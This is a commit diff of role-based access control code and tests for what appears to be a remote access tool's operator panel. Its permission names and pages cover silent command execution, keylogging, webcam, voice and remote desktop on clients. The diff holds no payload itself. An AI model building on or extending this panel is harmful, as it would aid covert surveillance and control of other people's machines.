major RBAC imrpovements + fix thumbnails
This commit is contained in:
@@ -9,11 +9,12 @@ import {
|
||||
getUserGrantedPermissions,
|
||||
getUserGroupIds,
|
||||
listPermissionGroups,
|
||||
setUserCanUploadFiles,
|
||||
setUserExtraPermissions,
|
||||
setUserGroups,
|
||||
updatePermissionGroup,
|
||||
} from "./users";
|
||||
import { hasPermission, getUserPermissions } from "./rbac";
|
||||
import { hasPermission, getUserEffectivePermissionDetails, getUserPermissions } from "./rbac";
|
||||
|
||||
const createdUserIds: number[] = [];
|
||||
const createdGroupIds: number[] = [];
|
||||
@@ -140,6 +141,54 @@ describe("user permission groups + extras", () => {
|
||||
expect(perms.has("users:manage")).toBe(false);
|
||||
});
|
||||
|
||||
test("effective permission details include role, group, and extra grant sources", async () => {
|
||||
const viewer = await tempUser("viewer");
|
||||
const g = tempGroup("eff_a", ["clients:metadata"]);
|
||||
setUserGroups(viewer.id, [g.id]);
|
||||
setUserExtraPermissions(viewer.id, ["clients:uninstall"]);
|
||||
|
||||
const details = getUserEffectivePermissionDetails(viewer.id, viewer.role);
|
||||
const metadata = details.find((p) => p.id === "clients:metadata");
|
||||
const uninstall = details.find((p) => p.id === "clients:uninstall");
|
||||
const control = details.find((p) => p.id === "clients:control");
|
||||
|
||||
expect(metadata?.allowed).toBe(true);
|
||||
expect(metadata?.sources).toContainEqual({
|
||||
type: "group",
|
||||
label: g.name,
|
||||
groupId: g.id,
|
||||
});
|
||||
expect(uninstall?.allowed).toBe(true);
|
||||
expect(uninstall?.sources).toContainEqual({
|
||||
type: "extra",
|
||||
label: "Direct extra permission",
|
||||
});
|
||||
expect(control?.allowed).toBe(false);
|
||||
expect(control?.sources).toEqual([]);
|
||||
});
|
||||
|
||||
test("effective permission details reflect build and upload toggles", async () => {
|
||||
const op = await tempUser("operator");
|
||||
setUserCanUploadFiles(op.id, true);
|
||||
|
||||
const details = getUserEffectivePermissionDetails(op.id, op.role);
|
||||
const build = details.find((p) => p.id === "clients:build");
|
||||
const upload = details.find((p) => p.id === "files:upload");
|
||||
|
||||
expect(build?.allowed).toBe(true);
|
||||
expect(build?.sources).toContainEqual({
|
||||
type: "role",
|
||||
label: "Build permission toggle",
|
||||
role: "operator",
|
||||
});
|
||||
expect(upload?.allowed).toBe(true);
|
||||
expect(upload?.sources).toContainEqual({
|
||||
type: "role",
|
||||
label: "File upload permission toggle",
|
||||
role: "operator",
|
||||
});
|
||||
});
|
||||
|
||||
test("getUserGroupIds returns assigned ids", async () => {
|
||||
const viewer = await tempUser("viewer");
|
||||
const g = tempGroup("gid_a", []);
|
||||
|
||||
@@ -237,6 +237,7 @@ describe("getPermissionDescription", () => {
|
||||
["clients:silent-exec", "Silently execute arbitrary commands on clients"],
|
||||
["audit:view", "View audit logs"],
|
||||
["chat:write", "Send messages in team chat"],
|
||||
["files:upload", "Upload shared files and build artifacts"],
|
||||
["scripts:manage", "Manage auto-run scripts"],
|
||||
["deploys:manage", "Manage deploys and auto-deploys"],
|
||||
["plugins:manage", "Upload, enable, and delete plugins"],
|
||||
@@ -274,6 +275,7 @@ describe("getRolePermissions", () => {
|
||||
expect(perms).toContain("network:manage-bans");
|
||||
expect(perms).toContain("system:configure");
|
||||
expect(perms).toContain("clients:winre");
|
||||
expect(perms).toContain("files:upload");
|
||||
});
|
||||
|
||||
test("operator gets the role-eligible subset", () => {
|
||||
@@ -292,6 +294,7 @@ describe("getRolePermissions", () => {
|
||||
expect(perms).not.toContain("clients:silent-exec");
|
||||
expect(perms).not.toContain("system:configure");
|
||||
expect(perms).not.toContain("clients:winre");
|
||||
expect(perms).not.toContain("files:upload");
|
||||
});
|
||||
|
||||
test("viewer gets nothing", () => {
|
||||
@@ -312,6 +315,7 @@ describe("listAllPermissions", () => {
|
||||
expect(perms).toContain("clients:uninstall" as Permission);
|
||||
expect(perms).toContain("system:configure" as Permission);
|
||||
expect(perms).toContain("network:manage-bans" as Permission);
|
||||
expect(perms).toContain("files:upload" as Permission);
|
||||
});
|
||||
|
||||
test("returns the same length as the description coverage (every entry has a description)", () => {
|
||||
|
||||
@@ -2,10 +2,14 @@ import { type AuthenticatedUser } from "./auth";
|
||||
import {
|
||||
canBuildClients,
|
||||
canChatWrite,
|
||||
canUploadFiles,
|
||||
canUserAccessClient,
|
||||
canUserAccessFeature,
|
||||
canUserAccessPlugin,
|
||||
getUserExtraPermissions,
|
||||
getUserGrantedPermissions,
|
||||
getUserGroupIds,
|
||||
listPermissionGroups,
|
||||
type FeatureName,
|
||||
type UserRole,
|
||||
} from "./users";
|
||||
@@ -14,6 +18,7 @@ type PermissionDef = {
|
||||
description: string;
|
||||
roles: readonly UserRole[];
|
||||
userOverride?: (userId: number, role: UserRole) => boolean;
|
||||
overrideSourceLabel?: string;
|
||||
};
|
||||
|
||||
const PERMISSIONS = {
|
||||
@@ -29,6 +34,7 @@ const PERMISSIONS = {
|
||||
description: "Build client binaries",
|
||||
roles: ["admin", "operator"],
|
||||
userOverride: canBuildClients,
|
||||
overrideSourceLabel: "Build permission toggle",
|
||||
},
|
||||
"clients:enroll": {
|
||||
description: "Manage client enrollment approvals",
|
||||
@@ -62,6 +68,13 @@ const PERMISSIONS = {
|
||||
description: "Send messages in team chat",
|
||||
roles: ["admin", "operator"],
|
||||
userOverride: canChatWrite,
|
||||
overrideSourceLabel: "Chat write permission toggle",
|
||||
},
|
||||
"files:upload": {
|
||||
description: "Upload shared files and build artifacts",
|
||||
roles: ["admin"],
|
||||
userOverride: canUploadFiles,
|
||||
overrideSourceLabel: "File upload permission toggle",
|
||||
},
|
||||
"scripts:manage": {
|
||||
description: "Manage auto-run scripts",
|
||||
@@ -237,7 +250,7 @@ export function requirePermission(
|
||||
const authedUser = requireAuth(user);
|
||||
|
||||
if (!checkPermission(authedUser, permission)) {
|
||||
throw new Response("Forbidden: Insufficient permissions", { status: 403 });
|
||||
throw new Response(`Forbidden: missing permission ${permission}`, { status: 403 });
|
||||
}
|
||||
|
||||
return authedUser;
|
||||
@@ -322,3 +335,86 @@ export function getUserPermissions(userId: number, role: UserRole): Permission[]
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
export type EffectivePermissionSource =
|
||||
| { type: "role"; label: string; role: UserRole }
|
||||
| { type: "group"; label: string; groupId: number }
|
||||
| { type: "extra"; label: string }
|
||||
| { type: "system-configure"; label: string };
|
||||
|
||||
export type EffectivePermissionDetail = {
|
||||
id: Permission;
|
||||
description: string;
|
||||
allowed: boolean;
|
||||
sources: EffectivePermissionSource[];
|
||||
};
|
||||
|
||||
export function getUserEffectivePermissionDetails(
|
||||
userId: number,
|
||||
role: UserRole,
|
||||
): EffectivePermissionDetail[] {
|
||||
const assignedGroupIds = new Set(getUserGroupIds(userId));
|
||||
const groups = listPermissionGroups().filter((group) => assignedGroupIds.has(group.id));
|
||||
const extras = getUserExtraPermissions(userId);
|
||||
|
||||
return listAllPermissions().map((permission) => {
|
||||
const def = lookupPermission(permission);
|
||||
const sources: EffectivePermissionSource[] = [];
|
||||
|
||||
if (def) {
|
||||
const roleGrants = def.userOverride
|
||||
? def.userOverride(userId, role)
|
||||
: def.roles.includes(role);
|
||||
if (roleGrants) {
|
||||
sources.push({
|
||||
type: "role",
|
||||
label: def.overrideSourceLabel || `${role} role`,
|
||||
role,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
for (const group of groups) {
|
||||
if (group.permissions.includes(permission)) {
|
||||
sources.push({
|
||||
type: "group",
|
||||
label: group.name,
|
||||
groupId: group.id,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (extras.has(permission)) {
|
||||
sources.push({
|
||||
type: "extra",
|
||||
label: "Direct extra permission",
|
||||
});
|
||||
}
|
||||
|
||||
if (
|
||||
sources.length === 0 &&
|
||||
permission.startsWith("system:") &&
|
||||
permission !== "system:configure"
|
||||
) {
|
||||
const configureGroup = groups.find((group) => group.permissions.includes("system:configure"));
|
||||
if (configureGroup) {
|
||||
sources.push({
|
||||
type: "system-configure",
|
||||
label: `Via ${configureGroup.name} → system:configure`,
|
||||
});
|
||||
} else if (extras.has("system:configure")) {
|
||||
sources.push({
|
||||
type: "system-configure",
|
||||
label: "Via direct system:configure",
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
id: permission,
|
||||
description: getPermissionDescription(permission),
|
||||
allowed: hasPermission(role, permission, userId),
|
||||
sources,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
getUserById,
|
||||
setUserExtraPermissions,
|
||||
setUserGroups,
|
||||
setUserCanUploadFiles,
|
||||
} from "../../users";
|
||||
import { handleAuthRoutes } from "./auth-routes";
|
||||
|
||||
@@ -76,6 +77,7 @@ describe("/api/auth/me permissions array", () => {
|
||||
expect(set.has("clients:control")).toBe(true);
|
||||
expect(set.has("system:configure")).toBe(true);
|
||||
expect(set.has("clients:disconnect")).toBe(true);
|
||||
expect(set.has("files:upload")).toBe(true);
|
||||
});
|
||||
|
||||
test("operator gets the role-eligible subset and lacks admin-only perms", async () => {
|
||||
@@ -83,11 +85,13 @@ describe("/api/auth/me permissions array", () => {
|
||||
const body = await fetchMe(op.token);
|
||||
const set = new Set(body.permissions);
|
||||
expect(set.has("clients:control")).toBe(true);
|
||||
expect(body.canBuild).toBe(true);
|
||||
expect(set.has("clients:disconnect")).toBe(true);
|
||||
expect(set.has("clients:metadata")).toBe(true);
|
||||
expect(set.has("users:manage")).toBe(false);
|
||||
expect(set.has("system:configure")).toBe(false);
|
||||
expect(set.has("network:manage-bans")).toBe(false);
|
||||
expect(set.has("files:upload")).toBe(false);
|
||||
});
|
||||
|
||||
test("viewer has no permissions by default", async () => {
|
||||
@@ -132,5 +136,23 @@ describe("/api/auth/me permissions array", () => {
|
||||
setUserCanBuild(op.user.id, false);
|
||||
const body = await fetchMe(op.token);
|
||||
expect(new Set(body.permissions).has("clients:build")).toBe(false);
|
||||
expect(body.canBuild).toBe(false);
|
||||
});
|
||||
|
||||
test("operator with upload enabled gets files:upload and canUploadFiles via /api/auth/me", async () => {
|
||||
const op = await tempUser("operator");
|
||||
setUserCanUploadFiles(op.user.id, true);
|
||||
const body = await fetchMe(op.token);
|
||||
expect(new Set(body.permissions).has("files:upload")).toBe(true);
|
||||
expect(body.canUploadFiles).toBe(true);
|
||||
});
|
||||
|
||||
test("viewer in a build group gets canBuild from effective permissions", async () => {
|
||||
const viewer = await tempUser("viewer");
|
||||
const group = tempGroup("me_build", ["clients:build"]);
|
||||
setUserGroups(viewer.user.id, [group.id]);
|
||||
const body = await fetchMe(viewer.token);
|
||||
expect(new Set(body.permissions).has("clients:build")).toBe(true);
|
||||
expect(body.canBuild).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -471,17 +471,33 @@ export async function handleAuthRoutes(
|
||||
}
|
||||
|
||||
const reasons: string[] = [];
|
||||
const denialDetails: Array<{
|
||||
type: "feature" | "client";
|
||||
message: string;
|
||||
feature?: FeatureName;
|
||||
clientId?: string;
|
||||
}> = [];
|
||||
|
||||
if (!canUserAccessFeature(user.userId, user.role, feature)) {
|
||||
reasons.push("feature");
|
||||
denialDetails.push({
|
||||
type: "feature",
|
||||
feature,
|
||||
message: `Feature access denied for ${feature}`,
|
||||
});
|
||||
}
|
||||
|
||||
if (clientId && !canUserAccessClient(user.userId, user.role, clientId)) {
|
||||
reasons.push("client");
|
||||
denialDetails.push({
|
||||
type: "client",
|
||||
clientId,
|
||||
message: `Client access denied for ${clientId}`,
|
||||
});
|
||||
}
|
||||
|
||||
if (reasons.length > 0) {
|
||||
return Response.json({ allowed: false, denied: reasons });
|
||||
return Response.json({ allowed: false, denied: reasons, denialDetails });
|
||||
}
|
||||
|
||||
return Response.json({ allowed: true });
|
||||
@@ -507,7 +523,8 @@ export async function handleAuthRoutes(
|
||||
userId: user.userId,
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
needsOnboarding: dbUser ? dbUser.onboarding_completed_at === null : false,
|
||||
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
||||
canBuild: permissions.includes("clients:build"),
|
||||
canUploadFiles: permissions.includes("files:upload"),
|
||||
telegramChatId: dbUser?.telegram_chat_id || "",
|
||||
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
|
||||
featurePermissions,
|
||||
|
||||
@@ -16,12 +16,12 @@ import {
|
||||
} from "../../db";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { checkPermission, requirePermission } from "../../rbac";
|
||||
import { logger } from "../../logger";
|
||||
import { normalizeClientOs } from "../deploy-utils";
|
||||
import { canUserBuild, recordBuildStart, recordBuildEnd } from "../../build-rate-limit";
|
||||
import { getConfig } from "../../config";
|
||||
import { canUploadFiles, canUserAccessPlugin } from "../../users";
|
||||
import { canUserAccessPlugin } from "../../users";
|
||||
import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing";
|
||||
import path from "path";
|
||||
import fs from "fs";
|
||||
@@ -501,7 +501,7 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
const safeUploadToFileShare = !!uploadToFileShare;
|
||||
if (safeUploadToFileShare && !canUploadFiles(user.userId, user.role)) {
|
||||
if (safeUploadToFileShare && !checkPermission(user, "files:upload")) {
|
||||
return Response.json(
|
||||
{ error: "You do not have permission to upload files" },
|
||||
{ status: 403 },
|
||||
|
||||
@@ -12,7 +12,8 @@ import {
|
||||
updateSharedFile,
|
||||
incrementSharedFileDownloadCount,
|
||||
} from "../../db";
|
||||
import { getUserById, canUploadFiles } from "../../users";
|
||||
import { getUserById } from "../../users";
|
||||
import { checkPermission, requirePermission } from "../../rbac";
|
||||
import { resolveContainedPath, sanitizeUploadFilename } from "../upload-security";
|
||||
|
||||
type FileShareRouteDeps = {
|
||||
@@ -155,7 +156,7 @@ export async function handleFileShareRoutes(
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/file-share") {
|
||||
const files = listSharedFiles();
|
||||
const userCanUpload = canUploadFiles(user.userId, user.role);
|
||||
const userCanUpload = checkPermission(user, "files:upload");
|
||||
return Response.json({
|
||||
files: files.map((f) => ({
|
||||
id: f.id,
|
||||
@@ -176,8 +177,11 @@ export async function handleFileShareRoutes(
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/file-share/upload") {
|
||||
if (!canUploadFiles(user.userId, user.role)) {
|
||||
return Response.json({ error: "You do not have upload permission" }, { status: 403 });
|
||||
try {
|
||||
requirePermission(user, "files:upload");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return Response.json({ error: "You do not have upload permission" }, { status: 403 });
|
||||
return Response.json({ error: "Forbidden" }, { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
|
||||
@@ -2,7 +2,7 @@ import { authenticateRequest } from "../../auth";
|
||||
import { getConfig } from "../../config";
|
||||
import { consumeLoginPageRateLimit } from "../../rateLimit";
|
||||
import { requirePermission, type Permission } from "../../rbac";
|
||||
import { canUserAccessClient, getUserById, type UserRole } from "../../users";
|
||||
import { canUserAccessClient, canUserAccessFeature, getUserById, type FeatureName, type UserRole } from "../../users";
|
||||
|
||||
type PageRouteDeps = {
|
||||
PUBLIC_ROOT: string;
|
||||
@@ -72,11 +72,15 @@ type ClientPageDef = {
|
||||
pattern: RegExp;
|
||||
file: string;
|
||||
clientIdGroup: number;
|
||||
feature?: FeatureName;
|
||||
permission?: Permission;
|
||||
};
|
||||
|
||||
type QueryClientPageDef = {
|
||||
path: string;
|
||||
file: string;
|
||||
feature?: FeatureName;
|
||||
permission?: Permission;
|
||||
};
|
||||
|
||||
/** Static pages: each entry maps a URL path to its HTML file + access rules. */
|
||||
@@ -87,33 +91,33 @@ const STATIC_PAGES: StaticPageDef[] = [
|
||||
{ path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true },
|
||||
{ path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" },
|
||||
{ path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true },
|
||||
{ path: "/users", file: "users.html", access: "admin", checkPasswordChange: true },
|
||||
{ path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true },
|
||||
{ path: "/build", file: "build.html", access: "admin-or-operator" },
|
||||
{ path: "/sol-publish", file: "sol-publish.html", access: "admin" },
|
||||
{ path: "/plugins", file: "plugins.html", access: "admin-or-operator" },
|
||||
{ path: "/scripts", file: "scripts.html", access: "no-viewer" },
|
||||
{ path: "/deploy", file: "deploy.html", access: "admin" },
|
||||
{ path: "/users", file: "users.html", access: "any", checkPasswordChange: true, permission: "users:manage" },
|
||||
{ path: "/user-client-access", file: "user-client-access.html", access: "any", checkPasswordChange: true, permission: "users:manage" },
|
||||
{ path: "/build", file: "build.html", access: "any", permission: "clients:build" },
|
||||
{ path: "/sol-publish", file: "sol-publish.html", access: "any", permission: "system:configure" },
|
||||
{ path: "/plugins", file: "plugins.html", access: "any", permission: "plugins:manage" },
|
||||
{ path: "/scripts", file: "scripts.html", access: "any", permission: "scripts:manage" },
|
||||
{ path: "/deploy", file: "deploy.html", access: "any", permission: "deploys:manage" },
|
||||
{ path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true },
|
||||
{ path: "/file-share", file: "file-share.html", access: "no-viewer", checkPasswordChange: true },
|
||||
{ path: "/purgatory", file: "purgatory.html", access: "admin-or-operator", checkPasswordChange: true },
|
||||
{ path: "/purgatory", file: "purgatory.html", access: "any", checkPasswordChange: true, permission: "clients:enroll" },
|
||||
];
|
||||
|
||||
/** Client-scoped pages accessed via query param ?clientId=... */
|
||||
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
||||
{ path: "/remotedesktop", file: "remotedesktop.html" },
|
||||
{ path: "/webcam", file: "webcam.html" },
|
||||
{ path: "/backstage", file: "backstage.html" },
|
||||
{ path: "/voice", file: "voice.html" },
|
||||
{ path: "/winre", file: "winre.html" },
|
||||
{ path: "/remotedesktop", file: "remotedesktop.html", feature: "remote_desktop" },
|
||||
{ path: "/webcam", file: "webcam.html", feature: "webcam" },
|
||||
{ path: "/backstage", file: "backstage.html", feature: "backstage" },
|
||||
{ path: "/voice", file: "voice.html", feature: "voice" },
|
||||
{ path: "/winre", file: "winre.html", permission: "clients:winre" },
|
||||
];
|
||||
|
||||
/** Client-scoped pages accessed via path /:clientId/feature */
|
||||
const PATH_CLIENT_PAGES: ClientPageDef[] = [
|
||||
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 },
|
||||
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 },
|
||||
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 },
|
||||
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 },
|
||||
{ pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1, feature: "console" },
|
||||
{ pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1, feature: "file_browser" },
|
||||
{ pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1, feature: "processes" },
|
||||
{ pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1, feature: "keylogger" },
|
||||
];
|
||||
|
||||
function checkAccess(role: UserRole, access: AccessLevel): Response | null {
|
||||
@@ -224,8 +228,17 @@ export async function handlePageRoutes(
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
if (page.permission) {
|
||||
try {
|
||||
requirePermission(user, page.permission);
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
}
|
||||
|
||||
if (page.feature && !canUserAccessFeature(user.userId, user.role, page.feature)) {
|
||||
return new Response(`Forbidden: feature access denied for ${page.feature}`, { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
||||
@@ -244,8 +257,17 @@ export async function handlePageRoutes(
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return serveLoginOrUnauthorized(req, deps);
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
if (page.permission) {
|
||||
try {
|
||||
requirePermission(user, page.permission);
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
}
|
||||
|
||||
if (page.feature && !canUserAccessFeature(user.userId, user.role, page.feature)) {
|
||||
return new Response(`Forbidden: feature access denied for ${page.feature}`, { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = match[page.clientIdGroup];
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { generateToken, authenticateRequest, getSessionTtlSeconds } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserEffectivePermissionDetails, requirePermission } from "../../rbac";
|
||||
import {
|
||||
listUserSessions,
|
||||
persistRevokedTokenHash,
|
||||
@@ -58,6 +58,29 @@ export async function handleUsersRoutes(
|
||||
return Response.json({ users });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/effective-permissions$/)) {
|
||||
requirePermission(user, "users:manage");
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
const targetUser = getUserById(userId);
|
||||
if (!targetUser) {
|
||||
return Response.json({ error: "User not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
return Response.json({
|
||||
success: true,
|
||||
permissions: getUserEffectivePermissionDetails(targetUser.id, targetUser.role),
|
||||
clientAccess: {
|
||||
scope: getUserClientAccessScope(targetUser.id),
|
||||
rules: listUserClientAccessRules(targetUser.id),
|
||||
},
|
||||
pluginAccess: {
|
||||
scope: getUserPluginAccessScope(targetUser.id),
|
||||
rules: listUserPluginAccessRules(targetUser.id),
|
||||
},
|
||||
featurePermissions: getUserFeaturePermissions(targetUser.id),
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/users") {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const body = await req.json();
|
||||
|
||||
Reference in New Issue
Block a user